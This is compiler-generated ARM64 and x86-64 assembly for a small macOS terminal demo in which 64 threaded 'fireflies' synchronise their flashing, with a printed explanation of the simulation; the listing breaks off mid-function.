mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.19@PAGE
add x0, x0, l_.str.19@PAGEOFF
bl _printf
b LBB10_13
LBB10_13: ; in Loop: Header=BB10_11 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB10_11
LBB10_14: ; in Loop: Header=BB10_9 Depth=1
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
b LBB10_15
LBB10_15: ; in Loop: Header=BB10_9 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_9
LBB10_16:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _putScreen ; -- Begin function putScreen
.p2align 2
_putScreen: ; @putScreen
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w8, #1
stur w8, [x29, #-12]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov x9, sp
mov x8, #1
str x8, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB11_1
LBB11_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB11_10
b LBB11_2
LBB11_2: ; in Loop: Header=BB11_1 Depth=1
ldur x8, [x29, #-8]
ldrsb w0, [x8]
bl _putchar
ldur x8, [x29, #-8]
ldrsb w8, [x8]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB11_4
b LBB11_3
LBB11_3: ; in Loop: Header=BB11_1 Depth=1
mov w8, #1
stur w8, [x29, #-12]
b LBB11_4
LBB11_4: ; in Loop: Header=BB11_1 Depth=1
ldur w8, [x29, #-12]
add w9, w8, #1
stur w9, [x29, #-12]
subs w8, w8, #70
cset w8, le
tbnz w8, #0, LBB11_8
b LBB11_5
LBB11_5: ; in Loop: Header=BB11_1 Depth=1
ldur x8, [x29, #-8]
ldrsb w8, [x8]
subs w8, w8, #32
cset w8, ne
tbnz w8, #0, LBB11_7
b LBB11_6
LBB11_6: ; in Loop: Header=BB11_1 Depth=1
mov w0, #10
bl _putchar
stur wzr, [x29, #-12]
b LBB11_7
LBB11_7: ; in Loop: Header=BB11_1 Depth=1
b LBB11_8
LBB11_8: ; in Loop: Header=BB11_1 Depth=1
b LBB11_9
LBB11_9: ; in Loop: Header=BB11_1 Depth=1
ldur x8, [x29, #-8]
add x8, x8, #1
stur x8, [x29, #-8]
b LBB11_1
LBB11_10:
mov x9, sp
mov x8, #24
str x8, [x9]
mov x8, #1
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _printf
bl _getchar
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
adrp x0, l_.str.21@PAGE
add x0, x0, l_.str.21@PAGEOFF
bl _putScreen
bl _makeFireflies
adrp x0, l_.str.22@PAGE
add x0, x0, l_.str.22@PAGEOFF
bl _putScreen
bl _distantFireflies
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
adrp x0, l_.str.23@PAGE
add x0, x0, l_.str.23@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _quitNow ; @quitNow
.zerofill __DATA,__common,_quitNow,4,2
.globl _lightOn ; @lightOn
.zerofill __DATA,__common,_lightOn,256,2
.globl _masterClock ; @masterClock
.zerofill __DATA,__common,_masterClock,4,2
.globl _lightOnTime ; @lightOnTime
.zerofill __DATA,__common,_lightOnTime,256,2
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\342\234\263\357\270\217"
.section __DATA,__data
.globl _bulb ; @bulb
.p2align 3
_bulb:
.quad l_.str
.globl _distances ; @distances
.zerofill __DATA,__common,_distances,16384,2
.globl _canYouSeeMe ; @canYouSeeMe
.zerofill __DATA,__common,_canYouSeeMe,16384,2
.comm _flyRowPosition,256,2 ; @flyRowPosition
.comm _flyColPosition,256,2 ; @flyColPosition
.comm _canYouSeeLock,64,3 ; @canYouSeeLock
.comm _randLock,64,3 ; @randLock
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "randLock mutex init has failed\n"
l_.str.2: ; @.str.2
.asciz "canYouSeeLock mutex init has failed\n"
l_.str.3: ; @.str.3
.asciz "\033[2J"
l_.str.4: ; @.str.4
.asciz "\033[%d;%dH"
l_.str.5: ; @.str.5
.asciz "\033[7;40;32m"
l_.str.6: ; @.str.6
.asciz "%d"
l_.str.7: ; @.str.7
.asciz "\033[0m"
l_.str.8: ; @.str.8
.asciz "flyout.csv"
l_.str.9: ; @.str.9
.asciz "w"
l_.str.10: ; @.str.10
.asciz "\n"
l_.str.11: ; @.str.11
.asciz "% 4d, % 2d, % 2d, % 2d\n"
l_.str.12: ; @.str.12
.asciz "Time,N,Row,Col\n"
l_.str.13: ; @.str.13
.asciz "Firing Sequence replay in slow motion. Press [return] to continue."
l_.str.14: ; @.str.14
.asciz "mutex init has failed\n"
l_.str.15: ; @.str.15
.asciz " %s %s"
l_.str.16: ; @.str.16
.asciz " "
l_.str.17: ; @.str.17
.asciz "\n\n"
l_.str.18: ; @.str.18
.asciz "% 2d "
l_.str.19: ; @.str.19
.asciz "%2d "
l_.str.20: ; @.str.20
.asciz "Press [return] key to continue."
l_.str.21: ; @.str.21
.asciz "Fireflies:\n\nHere are 64 fireflies. Each firefly is slightly different, and is an independently executing program thread. Each firefly is started at a random time and has a cycle time that is slighty different from the others. An individual firefly is unaware of how many other fireflies there are and can only see if others are flashing or not. The master thread starts all the fireflies and then displays when they are blinking on the terminal.\n\nThis program was to demonstrate & test the syncing ability. Each one flashes for 25 0ms +/-5ms and have an overall cycle of 1 second +/- 1ms\n\nThey tend to become synchronous within 5 cycles."
l_.str.22: ; @.str.22
.asciz "Fireflies with distance and flash strength:\n\n In this instance we have 64 identical fireflies placed at random positions and are started at random times from 0 to 500ms. In this case however an individual firefly will see the light from every other firefly with a delay proportional to their individual distances apart and a strength inversely proportional to their distances.\n\nThese fireflies take a bit longer to develop their pattern synchrony. \n\nNotice how several occasionally fall out of sync, the reason for this is not known. They are numbered so that their flash order can be examined later."
l_.str.23: ; @.str.23
.asciz "Thanks for watching :) \n"
.section __DATA,__data
.p2align 3 ; @randInRange.x
_randInRange.x:
.quad 3471686161 ; 0xceedba11
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _initFlyPositions ## -- Begin function initFlyPositions
.p2align 4, 0x90
_initFlyPositions: ## @initFlyPositions
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $64, -4(%rbp)
jge LBB0_11
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $1, %edi
movl $24, %esi
callq _randInRange
movl %eax, %edx
movslq -4(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
movl $1, %edi
movl $79, %esi
callq _randInRange
movl %eax, %edx
movslq -4(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
movl $0, -8(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -8(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB0_9
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -8(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movslq -4(%rbp), %rdx
movq _flyRowPosition@GOTPCREL(%rip), %rcx
cmpl (%rcx,%rdx,4), %eax
jne LBB0_7
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movslq -8(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movslq -4(%rbp), %rdx
movq _flyColPosition@GOTPCREL(%rip), %rcx
cmpl (%rcx,%rdx,4), %eax
jne LBB0_7
## %bb.6: ## in Loop: Header=BB0_3 Depth=2
movl -4(%rbp), %eax
addl $-1, %eax
movl %eax, -4(%rbp)
LBB0_7: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_3
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_10
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB0_1
LBB0_11:
movl $0, -4(%rbp)
LBB0_12: ## =>This Loop Header: Depth=1
## Child Loop BB0_14 Depth 2
cmpl $64, -4(%rbp)
jge LBB0_22
## %bb.13: ## in Loop: Header=BB0_12 Depth=1
movl $0, -8(%rbp)
LBB0_14: ## Parent Loop BB0_12 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -8(%rbp)
jge LBB0_20
## %bb.15: ## in Loop: Header=BB0_14 Depth=2
movl -4(%rbp), %eax
cmpl -8(%rbp), %eax
jne LBB0_17
## %bb.16: ## in Loop: Header=BB0_14 Depth=2
movslq -4(%rbp), %rcx
leaq _distances(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl $0, (%rax,%rcx,4)
jmp LBB0_18
LBB0_17: ## in Loop: Header=BB0_14 Depth=2
movslq -8(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movslq -4(%rbp), %rdx
movq _flyColPosition@GOTPCREL(%rip), %rcx
subl (%rcx,%rdx,4), %eax
cvtsi2ss %eax, %xmm0
movss %xmm0, -16(%rbp)
movslq -8(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movslq -4(%rbp), %rdx
movq _flyRowPosition@GOTPCREL(%rip), %rcx
subl (%rcx,%rdx,4), %eax
cvtsi2ss %eax, %xmm0
movss %xmm0, -12(%rbp)
movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss -16(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero
movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
mulss -12(%rbp), %xmm1
mulss %xmm2, %xmm0
addss %xmm1, %xmm0
sqrtss %xmm0, %xmm0
cvttss2si %xmm0, %edx
movslq -4(%rbp), %rcx
leaq _distances(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
LBB0_18: ## in Loop: Header=BB0_14 Depth=2
jmp LBB0_19
LBB0_19: ## in Loop: Header=BB0_14 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_14
LBB0_20: ## in Loop: Header=BB0_12 Depth=1
jmp LBB0_21
LBB0_21: ## in Loop: Header=BB0_12 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB0_12
LBB0_22:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function randInRange
_randInRange: ## @randInRange
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _randLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_lock
movq _randInRange.x(%rip), %rax
shlq $13, %rax
xorq _randInRange.x(%rip), %rax
movq %rax, _randInRange.x(%rip)
movq _randInRange.x(%rip), %rax
shrq $17, %rax
xorq _randInRange.x(%rip), %rax
movq %rax, _randInRange.x(%rip)
movq _randInRange.x(%rip), %rax
shlq $5, %rax
xorq _randInRange.x(%rip), %rax
movq %rax, _randInRange.x(%rip)
movq _randLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_unlock
movq _randInRange.x(%rip), %rax
movl -8(%rbp), %ecx
subl -4(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
xorl %edx, %edx
## kill: def $rdx killed $edx
divq %rcx
movslq -4(%rbp), %rax
addq %rax, %rdx
movl %edx, %eax
movl %eax, -12(%rbp)
movl -12(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _isLightOn ## -- Begin function isLightOn
.p2align 4, 0x90
_isLightOn: ## @isLightOn
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jle LBB2_5
## %bb.1:
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jl LBB2_4
## %bb.2:
movl -8(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB2_4
## %bb.3:
movl $1, -4(%rbp)
jmp LBB2_9
LBB2_4:
movl $0, -4(%rbp)
jmp LBB2_9
LBB2_5:
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB2_7
## %bb.6:
movl -8(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB2_8
LBB2_7:
movl $1, -4(%rbp)
jmp LBB2_9
LBB2_8:
movl $0, -4(%rbp)
LBB2_9:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _remoteFirefly ## -- Begin function remoteFirefly
.p2align 4, 0x90
_remoteFirefly: ## @remoteFirefly
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movl (%rax), %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -20(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -24(%rbp)
movl $0, -32(%rbp)
movl $175, -36(%rbp)
movl $0, -40(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, _quitNow(%rip)
je LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl $1, %edi
callq _sleepMilliseconds
jmp LBB3_1
LBB3_3:
xorl %edi, %edi
movl $500, %esi ## imm = 0x1F4
callq _randInRange
movl %eax, %edi
callq _sleepMilliseconds
LBB3_4: ## =>This Loop Header: Depth=1
## Child Loop BB3_10 Depth 2
cmpl $0, _quitNow(%rip)
setne %al
xorb $-1, %al
testb $1, %al
jne LBB3_5
jmp LBB3_24
LBB3_5: ## in Loop: Header=BB3_4 Depth=1
movl -16(%rbp), %eax
cmpl -36(%rbp), %eax
jne LBB3_7
## %bb.6: ## in Loop: Header=BB3_4 Depth=1
movslq -12(%rbp), %rcx
leaq _lightOn(%rip), %rax
movl $0, (%rax,%rcx,4)
movl $0, -40(%rbp)
LBB3_7: ## in Loop: Header=BB3_4 Depth=1
movl -16(%rbp), %eax
cmpl -32(%rbp), %eax
jne LBB3_9
## %bb.8: ## in Loop: Header=BB3_4 Depth=1
movslq -12(%rbp), %rcx
leaq _lightOn(%rip), %rax
movl $1, (%rax,%rcx,4)
movl _masterClock(%rip), %edx
movslq -12(%rbp), %rcx
leaq _lightOnTime(%rip), %rax
movl %edx, (%rax,%rcx,4)
movl $1, -40(%rbp)
LBB3_9: ## in Loop: Header=BB3_4 Depth=1
movq _canYouSeeLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_lock
movl $0, -28(%rbp)
LBB3_10: ## Parent Loop BB3_4 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -28(%rbp)
jge LBB3_19
## %bb.11: ## in Loop: Header=BB3_10 Depth=2
movl -16(%rbp), %eax
movslq -12(%rbp), %rdx
leaq _distances(%rip), %rcx
shlq $8, %rdx
addq %rdx, %rcx
movslq -28(%rbp), %rdx
subl (%rcx,%rdx,4), %eax
movl %eax, -44(%rbp)
movl -44(%rbp), %edi
movl -32(%rbp), %esi
movl -36(%rbp), %edx
callq _isLightOn
cmpl $0, %eax
je LBB3_13
## %bb.12: ## in Loop: Header=BB3_10 Depth=2
movslq -12(%rbp), %rcx
leaq _canYouSeeMe(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -28(%rbp), %rcx
movl $1, (%rax,%rcx,4)
jmp LBB3_14
LBB3_13: ## in Loop: Header=BB3_10 Depth=2
movslq -12(%rbp), %rcx
leaq _canYouSeeMe(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -28(%rbp), %rcx
movl $0, (%rax,%rcx,4)
LBB3_14: ## in Loop: Header=BB3_10 Depth=2
movl -28(%rbp), %eax
cmpl -12(%rbp), %eax
je LBB3_17
## %bb.15: ## in Loop: Header=BB3_10 Depth=2
movslq -28(%rbp), %rcx
leaq _canYouSeeMe(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -12(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB3_17
## %bb.16: ## in Loop: Header=BB3_10 Depth=2
movslq -28(%rbp), %rcx
leaq _distances(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -12(%rbp), %rcx
cvtsi2ssl (%rax,%rcx,4), %xmm0
movss %xmm0, -48(%rbp)
cvtsi2ssl -16(%rbp), %xmm0
movss -48(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero
movss -20(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
mulss %xmm2, %xmm0
addss %xmm1, %xmm0
movss %xmm0, -20(%rbp)
movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
addss -24(%rbp), %xmm0
movss %xmm0, -24(%rbp)
LBB3_17: ## in Loop: Header=BB3_10 Depth=2
jmp LBB3_18
LBB3_18: ## in Loop: Header=BB3_10 Depth=2
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB3_10
LBB3_19: ## in Loop: Header=BB3_4 Depth=1
movq _canYouSeeLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_unlock
movl -16(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -16(%rbp)
cmpl $1000, %eax ## imm = 0x3E8
jne LBB3_23
## %bb.20: ## in Loop: Header=BB3_4 Depth=1
movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
divss -24(%rbp), %xmm0
cvttss2si %xmm0, %eax
movl %eax, -52(%rbp)
movl -52(%rbp), %eax
subl $87, %eax
movl %eax, -32(%rbp)
cmpl $0, -32(%rbp)
jge LBB3_22
## %bb.21: ## in Loop: Header=BB3_4 Depth=1
movl -32(%rbp), %eax
addl $1000, %eax ## imm = 0x3E8
movl %eax, -32(%rbp)
LBB3_22: ## in Loop: Header=BB3_4 Depth=1
movl -32(%rbp), %eax
addl $175, %eax
movl $1000, %ecx ## imm = 0x3E8
cltd
idivl %ecx
movl %edx, -36(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -20(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -24(%rbp)
movl $0, -16(%rbp)
LBB3_23: ## in Loop: Header=BB3_4 Depth=1
movl $1, %edi
callq _sleepMilliseconds
jmp LBB3_4
LBB3_24:
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function sleepMilliseconds
_sleepMilliseconds: ## @sleepMilliseconds
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl $1000, %ecx ## imm = 0x3E8
cltd
idivl %ecx
cltq
movq %rax, -24(%rbp)
movl -4(%rbp), %eax
movl $1000, %ecx ## imm = 0x3E8
cltd
idivl %ecx
imull $1000000, %edx, %eax ## imm = 0xF4240
cltq
movq %rax, -16(%rbp)
leaq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _nanosleep
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _faCmp ## -- Begin function faCmp
.p2align 4, 0x90
_faCmp: ## @faCmp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rax
movq %rax, -40(%rbp)
movq -32(%rbp), %rax
movl 4(%rax), %eax
movq -40(%rbp), %rcx
cmpl 4(%rcx), %eax
jle LBB5_2
## %bb.1:
movl $1, -4(%rbp)
jmp LBB5_13
LBB5_2:
movq -32(%rbp), %rax
movl 4(%rax), %eax
movq -40(%rbp), %rcx
cmpl 4(%rcx), %eax
jge LBB5_4
## %bb.3:
movl $-1, -4(%rbp)
jmp LBB5_13
LBB5_4:
movq -32(%rbp), %rax
movl 8(%rax), %eax
movq -40(%rbp), %rcx
cmpl 8(%rcx), %eax
jle LBB5_6
## %bb.5:
movl $1, -4(%rbp)
jmp LBB5_13
LBB5_6:
movq -32(%rbp), %rax
movl 8(%rax), %eax
movq -40(%rbp), %rcx
cmpl 8(%rcx), %eax
jge LBB5_8
## %bb.7:
movl $-1, -4(%rbp)
jmp LBB5_13
LBB5_8:
movq -32(%rbp), %rax
movl 12(%rax), %eax
movq -40(%rbp), %rcx
cmpl 12(%rcx), %eax
jle LBB5_10
## %bb.9:
movl $1, -4(%rbp)
jmp LBB5_13
LBB5_10:
movq -32(%rbp), %rax
movl 12(%rax), %eax
movq -40(%rbp), %rcx
cmpl 12(%rcx), %eax
jle LBB5_12
## %bb.11:
movl $-1, -4(%rbp)
jmp LBB5_13
LBB5_12:
movl $0, -4(%rbp)
LBB5_13:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _inSync ## -- Begin function inSync
.p2align 4, 0x90
_inSync: ## @inSync
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -16(%rbp)
movl $0, -8(%rbp)
LBB6_1: ## =>This Loop Header: Depth=1
## Child Loop BB6_3 Depth 2
cmpl $64, -8(%rbp)
jge LBB6_10
## %bb.2: ## in Loop: Header=BB6_1 Depth=1
movl $0, -12(%rbp)
LBB6_3: ## Parent Loop BB6_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -12(%rbp)
jge LBB6_8
## %bb.4: ## in Loop: Header=BB6_3 Depth=2
movslq -8(%rbp), %rcx
leaq _canYouSeeMe(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -12(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB6_6
## %bb.5: ## in Loop: Header=BB6_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
LBB6_6: ## in Loop: Header=BB6_3 Depth=2
jmp LBB6_7
LBB6_7: ## in Loop: Header=BB6_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB6_3
LBB6_8: ## in Loop: Header=BB6_1 Depth=1
jmp LBB6_9
LBB6_9: ## in Loop: Header=BB6_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB6_1
LBB6_10:
cmpl $4096, -16(%rbp) ## imm = 0x1000
jne LBB6_12
## %bb.11:
movl $1, -4(%rbp)
jmp LBB6_13
LBB6_12:
movl $0, -4(%rbp)
LBB6_13:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _distantFireflies ## -- Begin function distantFireflies
.p2align 4, 0x90
_distantFireflies: ## @distantFireflies
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $832, %rsp ## imm = 0x340
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
callq _initFlyPositions
movq _randLock@GOTPCREL(%rip), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_mutex_init
cmpl $0, %eax
je LBB7_2
## %bb.1:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -788(%rbp)
jmp LBB7_47
LBB7_2:
movq _canYouSeeLock@GOTPCREL(%rip), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_mutex_init
cmpl $0, %eax
je LBB7_4
## %bb.3:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -788(%rbp)
jmp LBB7_47
LBB7_4:
movl $1, _quitNow(%rip)
movl $0, -792(%rbp)
LBB7_5: ## =>This Inner Loop Header: Depth=1
cmpl $64, -792(%rbp)
jge LBB7_8
## %bb.6: ## in Loop: Header=BB7_5 Depth=1
movl -792(%rbp), %ecx
movslq -792(%rbp), %rax
movl %ecx, -272(%rbp,%rax,4)
movslq -792(%rbp), %rax
leaq -784(%rbp), %rdi
shlq $3, %rax
addq %rax, %rdi
movslq -792(%rbp), %rax
leaq -272(%rbp), %rcx
shlq $2, %rax
addq %rax, %rcx
xorl %eax, %eax
movl %eax, %esi
leaq _remoteFirefly(%rip), %rdx
callq _pthread_create
## %bb.7: ## in Loop: Header=BB7_5 Depth=1
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_5
LBB7_8:
movl $0, _quitNow(%rip)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -792(%rbp)
LBB7_9: ## =>This Loop Header: Depth=1
## Child Loop BB7_11 Depth 2
cmpl $60000, -792(%rbp) ## imm = 0xEA60
jge LBB7_24
## %bb.10: ## in Loop: Header=BB7_9 Depth=1
movl $0, -796(%rbp)
LBB7_11: ## Parent Loop BB7_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -796(%rbp)
jge LBB7_17
## %bb.12: ## in Loop: Header=BB7_11 Depth=2
movslq -796(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %esi
movslq -796(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movslq -796(%rbp), %rcx
leaq _lightOn(%rip), %rax
cmpl $0, (%rax,%rcx,4)
je LBB7_14
## %bb.13: ## in Loop: Header=BB7_11 Depth=2
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movl -796(%rbp), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB7_15
LBB7_14: ## in Loop: Header=BB7_11 Depth=2
movl -796(%rbp), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
LBB7_15: ## in Loop: Header=BB7_11 Depth=2
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
## %bb.16: ## in Loop: Header=BB7_11 Depth=2
movl -796(%rbp), %eax
addl $1, %eax
movl %eax, -796(%rbp)
jmp LBB7_11
LBB7_17: ## in Loop: Header=BB7_9 Depth=1
leaq L_.str.4(%rip), %rdi
movl $24, %esi
movl $80, %edx
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
cmpl $30000, -792(%rbp) ## imm = 0x7530
jle LBB7_20
## %bb.18: ## in Loop: Header=BB7_9 Depth=1
callq _inSync
cmpl $0, %eax
je LBB7_20
## %bb.19:
jmp LBB7_24
LBB7_20: ## in Loop: Header=BB7_9 Depth=1
movl $1, %edi
callq _sleepMilliseconds
movl _masterClock(%rip), %eax
addl $1, %eax
movl %eax, _masterClock(%rip)
cmpl $1000, _masterClock(%rip) ## imm = 0x3E8
jne LBB7_22
